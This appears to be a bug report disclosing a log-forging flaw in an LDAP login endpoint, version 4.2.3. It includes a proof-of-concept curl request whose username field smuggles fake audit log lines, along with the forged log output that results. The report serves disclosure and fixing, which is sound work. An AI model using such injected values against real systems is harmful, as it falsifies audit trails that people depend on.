Possible log forging

[medvedzver]

Summary

It's possible for user to forge a log and insert random string in there. Like extra lines which looks like logs.

Actual Behavior

• Run curl similar to below curl:

curl -k http://localhost:8080/login -H 'Content-Type':'application/x-www-form-urlencoded' -d 'username=not_valid_user, 
***********************************************
INJECT WHATEVER YOU WANT
[2017-05-31 10:25:18.435] - [http-bio-30031-exec-6] .... TRACE --- Audit:
PrincipalAuthenticationFailure ('null'): principal=not_valid_user, 
***********************************************
&password=pwd'

Things you see in logs:

[2017-07-20 23:14:32.116] uaa - 1179 [http-nio-8080-exec-5] .... DEBUG --- LdapAuthenticationProvider: Processing authentication request for user: not_valid_user,
************************************************************
INJECT WHATEVER YOU WANT
[2017-05-31 10:25:18.435] - [http-bio-30031-exec-6] .... TRACE --- Audit:
PrincipalAuthenticationFailure ('null'): principal=not_valid_user, 
************************************************************
[2017-07-20 23:14:32.117] uaa - 1179 [http-nio-8080-exec-5] .... DEBUG --- FilterBasedLdapUserSearch: Searching for user 'not_valid_user
************************************************************
INJECT WHATEVER YOU WANT
[2017-05-31 10:25:18.435] - [http-bio-30031-exec-6] .... TRACE --- Audit:
PrincipalAuthenticationFailure ('null'): principal=not_valid_user, 
************************************************************

Expected Behavior

It's not possible to add extra lines in logs

Version

4.2.3

Notes

We changed the logging level for LdapAuthenticationProvider and FilterBasedLdapUserSearch to INFO to avoid printing username.

Thanks!